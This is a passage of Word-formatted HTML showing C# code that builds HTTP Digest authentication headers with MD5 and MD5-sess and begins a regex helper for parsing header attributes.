<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> ComputeDigestHeader(</span><span style="mso-ansi-language: en-us;" lang="EN-US">Uri</span><span style="mso-ansi-language: en-us;" lang="EN-US"> uri)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: sv;" lang="SV">{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: sv;" lang="SV"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_nc = _nc + 1;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: sv;" lang="SV"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: sv;" lang="SV"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: sv;" lang="SV">string</span><span style="mso-ansi-language: sv;" lang="SV"> ha1, ha2;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: sv;" lang="SV"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: sv;" lang="SV"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">switch</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (_md5)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">case</span><span style="mso-ansi-language: en-us;" lang="EN-US">Algorithm</span><span style="mso-ansi-language: en-us;" lang="EN-US">.MD5sess:</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> secret = ComputeMd5Hash(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Format(</span><span style="mso-ansi-language: en-us;" lang="EN-US">CultureInfo</span><span style="mso-ansi-language: en-us;" lang="EN-US">.InvariantCulture, </span><span style="mso-ansi-language: en-us;" lang="EN-US">"{0}:{1}:{2}"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, _user, _realm, _password));</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ha1 = ComputeMd5Hash(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Format(</span><span style="mso-ansi-language: en-us;" lang="EN-US">CultureInfo</span><span style="mso-ansi-language: en-us;" lang="EN-US">.InvariantCulture, </span><span style="mso-ansi-language: en-us;" lang="EN-US">"{0}:{1}:{2}"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, secret, _nonce, _cnonce));</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ha2 = ComputeMd5Hash(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Format(</span><span style="mso-ansi-language: en-us;" lang="EN-US">CultureInfo</span><span style="mso-ansi-language: en-us;" lang="EN-US">.InvariantCulture, </span><span style="mso-ansi-language: en-us;" lang="EN-US">"{0}:{1}"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, </span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Method, uri.PathAndQuery));</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> data = </span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Format(</span><span style="mso-ansi-language: en-us;" lang="EN-US">CultureInfo</span><span style="mso-ansi-language: en-us;" lang="EN-US">.InvariantCulture, </span><span style="mso-ansi-language: en-us;" lang="EN-US">"{0}:{1:00000000}:{2}:{3}:{4}"</span><span style="mso-ansi-language: en-us;" lang="EN-US">,</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span>_nonce,</span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small;"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_nc,</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small;"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_cnonce,</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small;"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp; </span>_qop,</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small;"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ha2);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small;"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>var kd = ComputeMd5Hash(string.Format(CultureInfo.InvariantCulture, "{0}:{1}", ha1, data));</span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small;"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>returnstring.Format("Digest username=\"{0}\", realm=\"{1}\", nonce=\"{2}\", uri=\"{3}\", " +</span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>"algorithm=MD5-sess, response=\"{4}\", qop={5}, nc={6:00000000}, cnonce=\"{7}\"",</span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-ansi-language: en-us;" lang="EN-US">_user, _realm, _nonce, uri.PathAndQuery, kd, _qop, _nc, _cnonce);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">case</span><span style="mso-ansi-language: en-us;" lang="EN-US">Algorithm</span><span style="mso-ansi-language: en-us;" lang="EN-US">.MD5:</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ha1 = ComputeMd5Hash(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Format(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"{0}:{1}:{2}"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, _user, _realm, _password));</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ha2 = ComputeMd5Hash(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Format(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"{0}:{1}"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, </span><span style="mso-ansi-language: en-us;" lang="EN-US">this</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Method, uri.PathAndQuery));</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> digestResponse =</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>ComputeMd5Hash(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Format(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"{0}:{1}:{2:00000000}:{3}:{4}:{5}"</span><span style="mso-ansi-language: en-us;" lang="EN-US">, ha1, _nonce, _nc, _cnonce, _qop, ha2));</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">return</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Format(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"Digest username=\"{0}\", realm=\"{1}\", nonce=\"{2}\", uri=\"{3}\", "</span><span style="mso-ansi-language: en-us;" lang="EN-US"> +</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">"algorithm=MD5, response=\"{4}\", qop={5}, nc={6:00000000}, cnonce=\"{7}\""</span><span style="mso-ansi-language: en-us;" lang="EN-US">,</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>_user, _realm, _nonce, uri.PathAndQuery, digestResponse, _qop, _nc, _cnonce);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">throw</span><span style="mso-ansi-language: en-us;" lang="EN-US">new</span><span style="mso-ansi-language: en-us;" lang="EN-US">Exception</span><span style="mso-ansi-language: en-us;" lang="EN-US">(</span><span style="mso-ansi-language: en-us;" lang="EN-US">"The digest header could not be generated"</span><span style="mso-ansi-language: en-us;" lang="EN-US">);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>}</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;">&nbsp;</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">private</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> GetDigestHeaderAttribute(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> attributeName, </span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US"> digestAuthHeader)</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-size: small; mso-ansi-language: en-us;" lang="EN-US"><span style="font-family: Consolas;"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span>{</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> regHeader = </span><span style="mso-ansi-language: en-us;" lang="EN-US">new</span><span style="mso-ansi-language: en-us;" lang="EN-US">Regex</span><span style="mso-ansi-language: en-us;" lang="EN-US">(</span><span style="mso-ansi-language: en-us;" lang="EN-US">string</span><span style="mso-ansi-language: en-us;" lang="EN-US">.Format(</span><span style="mso-ansi-language: en-us;" lang="EN-US">@"{0}=""([^""]*)"""</span><span style="mso-ansi-language: en-us;" lang="EN-US">, attributeName));</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp; </span><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">var</span><span style="mso-ansi-language: en-us;" lang="EN-US"> matchHeader = regHeader.Match(digestAuthHeader);</span></span></p>
<p class="MsoNormal" style="background: #f2f2f2; margin-top: 0cm; margin-right: 0cm; margin-left: 0cm; mso-background-themecolor: background1; mso-background-themeshade: 242; mso-layout-grid-align: none;"><span style="font-family: Consolas; font-size: small;"><span style="mso-ansi-language: en-us;" lang="EN-US"><span style="mso-spacerun: yes;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </span></span><span style="mso-ansi-language: en-us;" lang="EN-US">if</span><span style="mso-ansi-language: en-us;" lang="EN-US"> (matchHeader.Success)</span></span></p>
